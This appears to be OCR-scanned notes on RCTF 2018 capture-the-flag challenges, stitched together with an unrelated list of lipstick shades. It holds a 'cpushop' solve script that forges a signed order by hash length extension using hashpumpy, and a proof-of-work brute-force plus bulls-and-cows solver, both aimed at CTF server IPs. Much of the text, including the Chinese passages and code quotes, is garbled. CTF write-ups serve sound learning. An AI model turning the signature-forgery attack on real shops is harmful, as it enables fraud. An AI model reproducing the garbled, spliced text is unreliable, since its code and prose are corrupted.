
Invoke a user function (P4 is a pointer to an sqlite3_context object that contains a pointer to the
function to be run) with P5 arguments taken from register P2 and successors. The result of the
function is stored in register P3. Register P3 must not be one of the function inputs.

P1is a 32-bit bitmask indicating whether or not each argument to the function was determined
to be constant at compile time. If the first argument was constant then bit 0 of P1 is set. This is
used to determine whether meta data associated with a user function argument using the
sqlite3_set_auxdata() APl may be safely retained until the next invocation of this opcode.

1754 ERicolByTTER (flag) 5t r(2]

XEp4tgFisubstr(3), p1{E/6 , BI0b110 , RIRTHE—NSEHIMIAER | p5EH03 , FIFB3
NSE , p2a2 , REASEM21FEE |

BIATTRATAIREB Jasubstr(r[2], r3], r[4]), 1RIE96-164H02(E | r[3], (AR ER | r2184F
ColumniB2{E1E3E , Blsubstr(flag, 1, 1), 58 9flag[0], fRETFr(1]1(sqlite FE1-index)

r5IAYEA'T , Blflag[0]/9'f'

VALESSHERD AT 1§ HEE Mflag

CRYPTO

cpushop

from zio import *
import hashpumpy

io = zio(('149.28.128.244"', 43000))

io.read_until('Command: ")
io.writeline('2")
io.read_until('Product ID: ")
io.writeline('9")
io.read_until('Your order:\n")



t = io.read _until('\n").strip()

sp = t.rfind('&sign=")
sign = t[sp+6:]

body = t[:sp]

print sign, body
io.read_until('Command: ")

for i in range(8, 32):
r = hashpumpy.hashpump(sign, body, '&price=1"', i)
new = '%s&sign=%s' % (r[1], r[0])
io.writeline('3")
io.read_until('Your order: ")
io.writeline(new)
recv = io.read_until('Command: ")
if 'Good job' in recv:
break

ECDH






FHE RESER https://github.com/ctfs/write-ups-2014/tree/master/hitcon-ctf-2014/polyglot

upbhack A9 writeup IEEIFLH https://ctftime.org/writeup/10149

520 gift

https://weibo.com/2993135417/D9DdMn9dQ?
refer_flag=1001030103_&type=comment#_rnd1526789201961

1. russian red(matte)

2. chili(matte)

3. tener

. fixed on drama(matte)

. red coquette(mineralize rich)
. barbecue(matte)

. dangerous(matte)

. lady danger(matte)

. my inner femme(amplified)

—

. lady bug(lustre)

- O W 00 N o ui M

—

. opera(matte)

—_
N

. mac red(satin)

—
w

. brave red(cremesheen)
14. ruby woo(retro matte)
15. salon rouge(matte)

16. lingering kiss(matte)
17. just a bite(satin)

M EBHHEEMN L)

Number Game
HETHREIXMNEKE 1A28 BE Bulls and cows IXpAmL{RIEER T .

EIE iy AL Ete
FRLARERAOICES B1RS

import itertools

from pwn import remote

from hashlib import sha256

import string

from itertools import permutations, izip
from random import shuffle

# helper function for the cows and bulls game


https://github.com/ctfs/write-ups-2014/tree/master/hitcon-ctf-2014/polyglot
https://ctftime.org/writeup/10149
https://weibo.com/2993135417/D9DdMn9dQ?refer_flag=1001030103_&type=comment#_rnd1526789201961

def parse_score(score):
score = score.strip().split(', ")
return tuple(int(s.strip()) for s in score)

# helper function for the cows and bulls game
def scorecalc(guess, chosen):
bulls = cows = 0
for g,c in izip(guess, chosen):
if g == c:
bulls += 1
elif g in chosen:
cows += 1
return bulls, cows

# keep trying until you find the flag
while True:
try:

sh = remote("149.28.139.172", 10002)
data= sh.recvline()[:-1]
print(data)
text, hash = data.split(' == ")
text = text[12:-1]
alpha = string.uppercase + string.lowercase + string.digits
print('Bruteforcing input...")
pos = map(''.join, itertools.product(alpha, repeat=4))

# bruteforce all possibilities
for x in pos:
if sha256(x + text).hexdigest() == hash:
print('Match found: sha256(%s) == %s' % (x+text, hash))
print(sh.recvuntil(':"))
print(x)
sh.send(x+'\n")
break

# start playing the cows and bulls game
digits = '©123456789'
size = 4

for _ in range(8):
print(sh.recvuntil('6 times\n'))
choices = list(permutations(digits, size))

shuffle(choices)
answers = []
scores = []

while True:
ans = choices[0]
answers.append(ans)
print("' '.join(ans))
sh.send(' '.join(ans)+'\n")
data = sh.recvline()
print(data)
if 'You got it!' in data:

break

score = data[-5:-1]



score = parse_score(score)

scores.append(score)

found = score == (size, 0)

choices = [c for c in choices if scorecalc(c, ans) == score]

# get the flag
print(sh.recv())
break

except EOFError:
print('\nFailed. Attempting again...\n'")

SEEF NULLKrypt3rs

git
https://github.com/zsxsoft/my-rctf-2018/tree/master/git
sign

https://github.com/zsxsoft/my-rctf-2018/tree/master/sign


https://github.com/AdityaVallabh/ctf-write-ups/blob/master/RCTF/Number%20Game/solve.py
https://github.com/zsxsoft/my-rctf-2018/tree/master/git
https://github.com/zsxsoft/my-rctf-2018/tree/master/sign

